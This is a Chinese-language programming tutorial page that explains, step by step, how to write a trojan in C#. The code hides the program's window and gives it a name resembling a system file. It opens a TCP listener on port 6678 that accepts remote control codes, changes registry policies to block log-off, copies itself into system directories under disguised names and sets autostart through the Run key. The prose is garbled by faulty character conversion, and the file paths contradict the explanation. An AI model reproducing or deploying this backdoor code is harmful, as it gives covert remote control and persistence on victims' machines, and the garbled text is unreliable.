程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 編程語言 >> .NET網頁編程 >> C# >> C#入門知識 >> 基於C#完成的木馬法式實例詳解

基於C#完成的木馬法式實例詳解

編輯:C#入門知識

基於C#完成的木馬法式實例詳解。本站提示廣大學習愛好者:(基於C#完成的木馬法式實例詳解)文章只能為提供參考,不一定能成為您想要的結果。以下是基於C#完成的木馬法式實例詳解正文


本文以C#為例講授木馬法式的完成進程。要完成木馬辦事的法式,重要完成以下幾個功效:後台的運轉(隱蔽技巧),掌握碼的吸收與注冊表的修正,上面就針對這三方面做引見:

1、在C#中,樹立一個後台辦事法式是很輕易的,先樹立一個新的C#的Windows運用法式,項目稱號自定(不外為了隱蔽可以使用與體系鄰近的稱號,如svchost.exe等),將窗體屬性"ShowInTaskbar"屬性設為false,讓它運轉時不會在義務欄中顯示,並將屬性"Windowstate"屬性設為Mininized便可,如許窗體便可以隱蔽運轉了。固然你也能夠在InitializeComponent()設置,此函數起先始化的感化,在窗體顯示前運轉,代碼以下:

private void InitializeComponent()
{
//
// Form1
//
//窗體顯示的終點和年夜小
this.AutoScaleBaseSize = new System.Drawing.Size(6, 14);
this.ClientSize = new System.Drawing.Size(368, 357);
//窗體稱號
this.Name = "Form1";
//設置屬性讓它後台運轉
this.ShowInTaskbar = false;
this.Text = "Form1";
this.WindowState = System.Windows.Forms.FormWindowState.Minimized;
}

2、掌握代碼的吸收,必須在辦事法式運轉開端就啟動,所以偵聽線程必須在法式初始化中啟動,所以放在窗體的結構函數中,代碼注解以下:

public Form1() //窗體的結構函數
{
//
// Windows 窗體設計器支撐所必須的
//
InitializeComponent();
//
// TODO: 在 InitializeComponent 挪用後添加任何結構函數代碼
//參加你的偵聽代碼
//端口你可以自已設定,我應用了固定的端口
int port =6678;
//System.Net.Sockets.TcpListener是用來在Tcp收集中偵聽客戶真個
listener = new TcpListener(port);
//啟動偵聽
listener.Start();
//增長吸收掌握碼的線程,假如要停滯線程可以用 Thread.abort()
//reControlCode 是線程啟動履行的函數,此函數依據吸收的掌握
//掌握碼拔取適合的注冊表修正函數
Thread thread = new Thread(new ThreadStart(reControlCode));
thread.Start();
}

reControlCode函數以下,完全代碼見法式:

private void reControlCode()
{
//設置吸收套接字,吸收listener.AcceptSocket是前往曾經吸收的客戶的要求
socket = listener.AcceptSocket();
//假如銜接勝利履行
while (socket.Connected)
{
//吸收掌握碼
byte [] by =new byte[6];
int i = socket.Receive(by,by.Length ,0);
string ss = System.Text.Encoding.ASCII.GetString(by);
//依據掌握碼履行分歧的功效
//修正注冊表參加編碼
switch (ss)
{
case "jiance"://測試銜接,前往測試信息
string str ="hjc";
byte [] bytee = System.Text.Encoding.ASCII.GetBytes(str);
socket.Send(bytee,0,bytee.Length,0);
break;
case "zx1000":
//修正注冊表函數,自已界說,見上面剖析
UnLogOff();
//前往掌握新聞
retMessage();
break;
case "zx0100":
//修正注冊表函數
UnClose();
//前往掌握新聞
retMessage();
break;
//反復的case功效與後面一樣,略失落
default:
break;
}//case
}//while
} //private void reControlCode

3、C#中完成注冊表的修正,應用了。NET類庫中的System.Microsoft.Win32敕令空間,它供給兩品種型的類:處置由操作體系激發的事宜的類和對體系注冊表停止操作的類。上面便可以看到它的用法。這裡我做了一個修正注冊表的子法式:使盤算機不克不及刊出。在這之前先懂得注冊表,在子鍵SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer
上面設鍵值NoLogOff 為 1 便可使盤算機沒法刊出。鄙人面的函數頂用C#完成對注冊表的修正:

private void UnLogOff()
{
//獲得主機的注冊表的頂級節點
Microsoft.Win32.RegistryKey rLocal = Registry.LocalMachine;
//設置一個注冊表子鍵的變量
RegistryKey key1;
try
{
//函數RegistryKey.OpenSubkey(string registrykey,bool canwrite)檢索指定的子鍵
//registrykey是用戶指定的鍵值,canwrite 為true則可修正,默許為fasle弗成改
key1 =
rLocal.OpenSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer",true);
//設置子鍵的鍵名,和值
key1.SetValue ("NoLogOff",1);
//封閉翻開的子鍵
key1.Close();
//正告字符串設定
mystr = mystr +"HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer鍵值Nologoff被修正!請將它置為0!";
}
catch{}
//假如不存在自已樹立
if(key1 ==null)
{
try
{
//應用RegistryKey.CreateSubKey(string mystring)函數來樹立你須要的子鍵
RegistryKey key2 = rLocal.CreateSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer");
key2.SetValue("NoLogOff",1);
key2.Close();
mystr = mystr +"HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer鍵值Nologoff被修正!請將它置為0!";
}
catch{}
}
}

4、在木馬法式中還有一個主要的功效就是自我的復制和轉移。木馬引入被掌握的主機時必須主動將木馬隱蔽在System,System32的目次下以防被發明。轉移的代碼剖析以下,重要完成的功效是將D盤下的木馬法式轉移到C://winnnt//system//msdoss.exe,同時換稱號。應用的。NET定名空間System.IO,它的感化是許可對數據流和文件停止同步和異步讀寫。這裡我們應用了System.IO.File類。

private void moveCC1()
{
try
{
//函數File.Move(string sourceFileName,string destFileName)起挪動文件的感化
//sourceFileName為要挪動的文件名,destFileName為文件的新途徑
File.Move("C://winnnt//system//msdoss.exe","d://winnt//system32//expleror.exe");
}
catch {}
//將新移的木馬法式設為自啟動。剖析和後面一樣
try
{
key1 = rLocal.OpenSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Run",true);
key1.SetValue ("microsoftt","d://winnt//system32//expleror.exe");
key1.Close();
}
catch{}
if(key1 ==null)
{
try
{
RegistryKey key2=rLocal.CreateSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Run");
key1.SetValue ("microsoftt","d://winnt//system32//expleror.exe");
key1.Close();
}
catch{}
}
} //moveCC1()
  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved